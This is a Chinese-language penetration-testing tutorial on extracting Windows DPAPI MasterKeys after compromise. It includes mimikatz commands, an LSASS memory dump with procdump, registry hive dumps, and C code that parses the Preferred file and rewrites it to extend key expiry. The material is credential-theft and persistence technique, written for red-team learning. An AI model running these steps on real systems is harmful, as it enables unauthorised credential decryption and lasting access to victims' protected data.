滲透技巧——獲取Windows系統下DPAPI中的MasterKey
0x00前言
對於Windows系統,用戶的加密數據大都採用DPAPI進行存儲,而想要解密這些數據解,必須要獲得DPAPI對應的MasterKey。本文將會介紹在獲得了Windows系統的許可權後獲得MasterKey的方法,同時分析Preferred文件格式,延長MasterKey的有效期
0x01 簡介
本文將要介紹以下內容
基本概念
·獲得MasterKey的方法
·解析Preferred文件
·修改MasterKey失效時間
0x02 基本概念
DPAPI:
全稱Data Protection Application Programming Interface
作為Windows系統的一個數據保護介面被廣泛使用
主要用於保護加密的數據,常見的應用如:
·EFS文件加密
·存儲無線連接密碼
·Windows Credential Manager
·Internet Explorer
·Outlook
·Skype
·Windows CardSpace
·Windows Vault
·Google Chrome
Master Key:
64位元組,用於解密DPAPI blob,使用用戶登錄密碼、SID和16位元組隨機數加密後保存在Master Key file中
Master Key file:
二進位文件,可使用用戶登錄密碼對其解密,獲得Master Key
分為兩種:
·用戶Master Key file,位於%APPDATA%MicrosoftProtect\%SID%
·系統Master Key file,位於%WINDIR%System32MicrosoftProtectS-1-5-18User
Preferred文件:
位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey及其過期時間,默認90天有效期
0x03 獲得MasterKey的方法
本節主要介紹通過mimikatz獲得MasterKey的方法
1、在線獲取
通過讀取Lsass進程信息,獲取當前系統中的MasterKey,能獲得多個Master Key file對應的MasterKey
管理員許可權:
privilege::debugsekurlsa::dpapi
如下圖
2、離線讀取
思路一:
使用procdump dump出LSASS進程內存
管理員許可權:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz載入dmp文件並獲取各個Master Key file對應的MasterKey:
sekurlsa::minidump lsass.dmpsekurlsa::dpapi
思路二:
參考資料:
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials
1、複製註冊表文件
管理員許可權:
reg save HKLMSYSTEM SystemBkup.hivreg save HKLMSECURITY SECURITY.hiv
2、從註冊表文件中獲得DPAPI_SYSTEM
mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
如下圖
DPAPI_SYSTEM中的user hash為c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3,能夠用來解密位於%WINDIR%System32MicrosoftProtectS-1-5-18User下的系統Master Key file
3、解密系統Master Key file,獲得MasterKey
mimikatz "dpapi::masterkey /in:C:WindowsSystem32MicrosoftProtectS-1-5-18User 4ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"
解密獲得MasterKey為3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43
如下圖
0x04 解析Preferred文件
位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey file及其過期時間
格式如下:
typedef struct _tagPreferredMasterKey{ GUID guidMasterKey; FILETIME ftCreated;} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
例如C:UsersAppDataRoamingMicrosoftProtectS-1-5-21-2884853959-2080156797-250722187-1002Preferred
如下圖
前16位元組F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58對應guid,調整格式後,對應文件為a111b0f6-b4d7-40c8-b536-672a8288b958
後8位元組D0 08 9F 7D 11 EC D3 01對應過期時間
對於表示時間的FILETIME,格式如下:
typedef struct _FILETIME { DWORD dwLowDateTime; DWORD dwHighDateTime; } FILETIME, *PFILETIME;
想要顯示成日常使用的時間格式,需要將FILETIME類型轉成SYSTEMTIME類型
在程序實現上,還需要注意使用sscanf_s函數將字元串轉換為DWORD格式
可供參考的C代碼如下:
#include <windows.h>int main(void) { FILE *fp; unsigned char buf[24]; fopen_s(&fp,"Preferred","rb"); fread(buf,1,24,fp); printf("Data: "); for(int i=0;i<24;i++) { printf("%02x",buf[i]); } fclose(fp); printf("
guidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x
",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]); char lowDateTime[9],highDateTime[9]; sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]); sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]); printf("dwLowDateTime:%s
",lowDateTime); printf("dwHighDateTime:%s
",highDateTime); FILETIME ftUTC; SYSTEMTIME stUTC2; sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime); sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime); FileTimeToSystemTime(&ftUTC, &stUTC2); printf(""); printf("Expiry time: %d-%d-%d %d:%d:%d
", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond); return 0; }
註:
也可以使用fread讀取int型數據來解決字元串倒序的問題
讀取Preferred文件,解析出當前系統正在使用的Master Key file的guid和過期時間
測試如下圖
0x05 修改MasterKey失效時間
修改思路:
輸入過期時間,將過期時間轉為FILETIME格式,替換Preferred文件的FILETIME
可供參考的c代碼如下:
#include <windows.h> int main(void) { SYSTEMTIME st={0}; FILETIME ft={0}; printf("[+]Start to change expiry time...
"); st.wYear = 2019; st.wMonth = 12; st.wDay = 30; st.wHour = 12; st.wMinute = 30; st.wSecond = 30; printf("[+]New expiry time:%d-%d-%d %d:%d:%d
", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); SystemTimeToFileTime(&st,&ft); printf("dwLowDateTime:%08x
",ft.dwLowDateTime); printf("dwHighDateTime:%08x
",ft.dwHighDateTime); FILE *fp; fopen_s(&fp,"Preferred","rb+"); fseek(fp,16,SEEK_SET); fwrite(&ft.dwLowDateTime,sizeof(int),1,fp); fwrite(&ft.dwHighDateTime,sizeof(int),1,fp); fclose(fp); printf("[+]Change success.
"); return 0; }
讀取Preferred文件,將過期時間設置為2019-12-30 12:30:30
修改後重新讀取Preferred文件信息,成功修改,如下圖
0x06 小結
本文總結了在獲得了Windows系統的許可權後獲得MasterKey的方法,編寫程序自動分析Preferred文件格式並延長MasterKey的有效期
本文為 3gstudent 原創稿件, 授權嘶吼獨家發布,如若轉載,請聯繫嘶吼編輯: http://www.4hou.com/technology/10477.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※維基解密網站被黑,是報復還是炫耀?
※你的深度學習應用可能存在安全風險
※小白學習環境的構架基礎
※滲透測試中的certutil
TAG:信息安全 |